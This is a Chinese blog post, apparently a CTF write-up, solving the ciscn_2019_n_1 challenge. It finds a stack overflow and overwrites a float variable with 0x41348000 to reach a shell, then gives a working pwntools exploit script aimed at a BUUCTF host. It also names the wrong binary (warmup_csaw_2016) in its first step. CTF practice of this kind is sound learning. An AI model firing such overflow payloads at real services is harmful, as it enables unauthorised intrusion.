当前位置:网站首页>ciscn_2019_n_1
ciscn_2019_n_1
2022-07-23 23:28:00 【长街395】
一、查看文件
先file ./warmup_csaw_2016查看文件类型再checksec --file=warmup_csaw_2016检查一下文件保护情况。


二、IDA反编译
反编译后觉得好像和前几道题不太一样了
看来看去有个函数比较可疑:
双击func()函数查看源码可以看到当v2 = 11.28125时会有一个系统调用。
查看汇编代码双击cs:dword_4007F4可以看到11.28125在内存中的16进制表示为0x41348000。
查看栈结构,此处var_30是v1,而var_4是v2,需要(0x30-0x04)=44个字节就能让栈溢出,最后再填入11.28125对应的十六进制数0x41348000。
三、代码
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 26965)
payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

总结
还是一道栈溢出的题,我们在那个可疑的函数里发现有两个变量,v1,v2,其中只有v1
可以通过gets()函数输入,但我们的判断的条件是v2=??一个数,我们如和更改v2
值呢,答案是通过v1的溢出来改变v2里的值。
边栏推荐
- [leetcode ladder] linked list · 206 reverse linked list
- Tap series article 7 | easy to manage pipeline configuration
- TAP 系列文章8 | TAP 学习中心——通过动手教程来学习
- Absl tutorial (4): strings Library
- js把数字转大写
- At the forefront of the times, Huawei aims at the wind and sea of digital finance
- Software architecture
- 礪夏行動|源啟數字化:既有模式,還是開源創新?
- strncat() strncmp()
- USB Foundation
猜你喜欢

Remember an experience of being cheated by the Internet

USB转CAN设备在核酸提取仪 高性能USB接口CAN卡

System memory introduction and memory management

【音视频技术】视频质量评价 MSU VQMT & Netflix vmaf

Navicat15 download and installation

在openEuler社区开源的Embedded SIG,来聊聊它的多 OS 混合部署框架

Series of articles | the way to advance the microservice architecture in the cloud native era - best practices of microservice splitting

Tap series article 9 | application development accelerator

No wonder the application effect of ERP in domestic enterprises is generally not ideal

JS convert numbers to uppercase
随机推荐
Intel英特尔RealSense实感深度摄像头 自校准(Self-Calibration)操作步骤讲解 D400系列适用
EasyNVR平台如何关闭匿名登录?
Stm32f4 check the frequency of each part of the system
ES6 other syntax and extended syntax summary
After reading this article, thoroughly understand grpc!
Tensorflow one layer neural network training handwritten digit recognition
TAP 系列文章7 | 易于管理的流水线配置
TAP 系列文章5 | 云原生构建服务
cannot meet the needs of the people? How can programmers take private jobs to effectively increase their income?
Tap series article 5 | cloud native build service
[数组]NC95 数组中的最长连续子序列-较难
Detailed explanation of pseudo instructions in assembly language (with examples)
Can Intel NUC replace the host_ It's finally perfect! The latest Intel NUC Mini host comes online
Redis管道技术/分区
归并排序思想应用
At the forefront of the times, Huawei aims at the wind and sea of digital finance
Use boundschecker "suggestions collection"
[redis] redis installation and client redis cli use (batch operation)
Is the height of binary tree [log2n]+1 equal to log2 (n+1)
[leetcode ladder] linked list · 206 reverse linked list